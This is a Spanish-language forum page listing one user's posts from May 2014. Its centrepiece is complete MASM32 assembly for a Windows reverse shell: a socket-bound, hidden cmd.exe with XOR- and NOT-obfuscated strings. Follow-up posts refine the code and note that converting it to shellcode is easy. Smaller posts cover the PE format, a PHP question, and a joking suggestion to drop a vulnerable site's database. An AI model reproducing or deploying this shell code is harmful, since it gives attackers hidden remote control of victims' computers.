Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Vaagish

#331
ASM / Re: Remote Shell (Masm32)
15 Mayo 2014, 22:41 PM
Citarnotl _cmd
notl _cmd+4
leal _cmd, %eax

Puede que sea por mi ignorancia.. pero no se puede hacer eso en masm
por eso moví el dword a eax y le aplique el not, luego el segundo dword.

Con respecto a las estructuras, bueno.. la primera la conseguí, pero para ser sincero solo por probar (puede que en otra situación tenga que hacerlo así, si o si) pero convengamos que el código queda mas limpio usando las estructuras declaradas por el SO, y no se ahorra mucho en tamaño ni en instrucciones..

Igual esta bueno saber manejar estructuras con etiquetas.. para lo que yo pretendo hacer (cuando tenga mas claras las cosas) me va a venir impecable saber eso

Gracias!! Saludos!

CORRECION:

Pero si se puede hacer esto:

Código (asm) [Seleccionar]
not dword ptr ds:[CLine]
not dword ptr ds:[CLine + 4]
#332
Ingeniería Inversa / Re: Ayuda con PExplorer
15 Mayo 2014, 19:20 PM
Yo lo lei de aca,, (y de otras fuentes) pero me parece que esta bastante bien explicado ahi..

Citarhttp://el-blog-de-thor.blogspot.com/2011/07/formato-de-ficheros-ejecutables-formato.html

Saludos!!
#333
ASM / Re: Remote Shell (Masm32)
15 Mayo 2014, 01:55 AM
Ya viniste a complicarme la vida.. jajaja Na.. genial! Pero ahora que tiraste la piedra me das una mano.. jeje

Citar"cmd.exe0" = 636D642E65786500 Hex

Ok.. hasta ahí todo bien.. entiendo el not, pero no puedo aplicárselo a un tipo tan largo me dice.. ¬¬

Y con lo de la estructura no caigo:

Código (asm) [Seleccionar]

;esto se hace asi, no queda otra..
mov _StartupinfoA.hStdInput,  eax
mov _StartupinfoA.hStdOutput, eax
mov _StartupinfoA.hStdError,  eax
;Esto otro hacerlo en .data.. pero como carambanos¿?
mov _StartupinfoA.wShowWindow, SW_HIDE
mov _StartupinfoA.dwFlags, STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES
mov _StartupinfoA.cb, sizeof _StartupinfoA


EDIT:
Código (asm) [Seleccionar]
mov eax, 9C929BD1h
not eax
mov eax, 9A879AFFh
not eax


Ahi esta "noteada" la cadena, le aplico el not para convertirla a "cmd.exe".. pero como la guardo/uso devuelta??

EDIT2:

Código (asm) [Seleccionar]
mov eax, 0D19B929Ch
not eax
mov dword ptr ds:[NuevaLinea], eax
mov eax, 0FF9A879Ah
not eax
mov dword ptr ds:[NuevaLinea + 4], eax


Bueno!!! Asi funciona.. pero.. es lo mas adecuado/Optimo?

Gracias man!! Me pusiste a pensar! Saludos!
#334
ASM / Re: Remote Shell (Masm32)
15 Mayo 2014, 00:34 AM
CitarDoy por sentado de que no es una shellcode, ya que estas usando la sección .data.
Verdad.. quería un código ejecutable, igual pasarlo a shellcode no es complicado.. ;)

CitarVeo algunas cosas que se pueden mejorar, por ejemplo la estructura sockaddr_in, ya que estas usando .data por que no cargas directamente la estructura en ella?
No había logrado hacer eso.. pero luego de tu sugerencia conseguí hacer así:

Código (asm) [Seleccionar]
_Sockaddrin:
sin_family:
word 0002h ; -> AF_INET
sin_port:
word 0b822h ; -> 8888
sin_addr:
dword 100007Fh ; -> 127.0.0.1

Código (asm) [Seleccionar]
invoke connect, ebx, _Sockaddrin, 16

Pero tengo problemas con Startupinfo.. porque seria algo asi:

Código (asm) [Seleccionar]
_StartupinfoA:
hStdInput:
dword eax
hStdOutput:
dword eax
hStdError:
dword eax


Donde eax contiene el handle que lo recibe de WSASocket (como bien decías en el comentario..) El asunto esta clarisimo, no se puede hacer eso de esa manera.. :S

Citarpush offset _Comandline
pop eax

Por que haces eso? No es mejor cargar directamente el offset a eax, que subirlo al stack y luego bajarlo?
Ha si, si.. totalmente.. eso quedo mal de una funcion que habia probado.. corregido seria:

Código (asm) [Seleccionar]
mov eax, offset _Comandline

CitarY el loop para cmd.exe, lo encuentro una tonteria con todo mi respeto, si es una cosa simple como esa, cargala con not y luego en el code con 2 ya la tienes lista.
Not te entendi jaja el loop para conectar? o el del xor?
#335
ASM / Remote Shell (Masm32)
14 Mayo 2014, 21:37 PM
Hola.. aporto con un codigo en masm.. no hay mucho que aclarar..

Código (asm) [Seleccionar]
.386
.model flat, stdcall
option casemap:none

include windows.inc
include kernel32.inc
includelib kernel32.lib
; ----------------------
include ws2_32.inc
includelib ws2_32.lib
; ----------------------

.data?
_Wsadata WSADATA <>
_Sockaddrin sockaddr_in <>
_Processinfo PROCESS_INFORMATION <>
_StartupinfoA STARTUPINFOA <>
.data
_Comandline db "djc)bb", 0 ; -> cmd.exe xor 7

.code
_Start:

; SOCKET
mov eax, 100007Fh ; -> 127.0.0.1
mov _Sockaddrin.sin_port, 0b822h ; -> 8888
mov _Sockaddrin.sin_addr, eax
mov _Sockaddrin.sin_family, AF_INET

invoke WSAStartup, 202h, addr _Wsadata
invoke WSASocket, AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0

; SHELL
mov _StartupinfoA.hStdInput,  eax
mov _StartupinfoA.hStdOutput, eax
mov _StartupinfoA.hStdError,  eax
mov _StartupinfoA.wShowWindow, SW_HIDE
mov _StartupinfoA.dwFlags, STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES
mov _StartupinfoA.cb, sizeof _StartupinfoA

mov ebx, eax ; Guardo el Socket Handle

; CONNECT
_noconnect:
invoke connect, ebx, addr _Sockaddrin, sizeof _Sockaddrin
or eax, eax
jnz _noconnect

; DECRYPT
xor ecx, ecx
push offset _Comandline
pop eax
_nozero:
cmp byte ptr ds:[eax + ecx], 0
je _zero
xor byte ptr ds:[eax + ecx], 7
inc ecx
jmp _nozero
_zero:

invoke CreateProcessA, NULL, addr _Comandline, NULL, NULL, TRUE, 0, NULL, NULL, addr _StartupinfoA, addr _Processinfo
invoke ExitProcess, 0

end _Start


Suerte!! Saludos!
#336
Lo publicaste nomas! Te pasaste! Yo no entiendo la mayoría de esas instrucciones, y lo que vi del cifrado AES es poco, así que te imaginas que no entiendo nada de lo que veo ahí.. Pero te felicito nuevamente! Se que a veces no es fácil desprenderse de un code.. esperemos se respete el autor.

Pregunta.. cual seria el punto de entrada ahí? Como le indicarías que cifrar?

Saludos!! Felicidades!
#337
PHP / Re: Foreach solo se reproduce 20 veces
14 Mayo 2014, 02:47 AM
Imposible ayudarte así.. usa var_dump y pone lo que te dice..

Suerte! Saludos!
#338
Citarva contra las reglas del foro los temas ilegales o no éticos -.-

CitarEs solo practica.. El sitio es de hace 8 años (2006)

Yo creo que en este caso,, ya que el dueño no lo soluciono en 8 años al problema se merece un DROP DATABASE!!  ;-)

Bueno,,, en realidad no.. mejor monta un server para hacer pruebas..

Saludos!
#339
CitarLa mayoría de veces los creadores han cometido pequeños errores en strings o el virus se conecta a algún sitio para actualizarse

Ta.. que se conecte a un servidor, y algun boludo haya dejado sus datos lo puedo entender.. pero error en un string???
Ponele que si puso "horeja", sabemos que no sabe escribir.. es una pista importante??  :o
#340
ASM / Re: PE mas PEqueños..
10 Mayo 2014, 01:04 AM
CitarNo entiendo eso de "no te lo permite en una sola linea", yo puedo añadir los bytes que quiera en cualquier parte de .text ".code".

En realidad es un tema de sintaxis.. ej:

Código (asm) [Seleccionar]
cadena: db "cmd.exe", 0 -> db syntax error

Pero si lo hago asi:

Código (asm) [Seleccionar]
cadena:
     db "cmd.exe", 0


No es porque no se pueda.. es un tema de sintaxis nomas..
Ya corrobore que los db que quedan en el código son las estructuras,, así que no se puede reducir mas, y si se puede serán unos bytes.. no me caliento mas jaja

Me parece que el formato ELF es menos exigente con el formato.. en win, un cambio inesperado y se pudre el PE..  :rolleyes: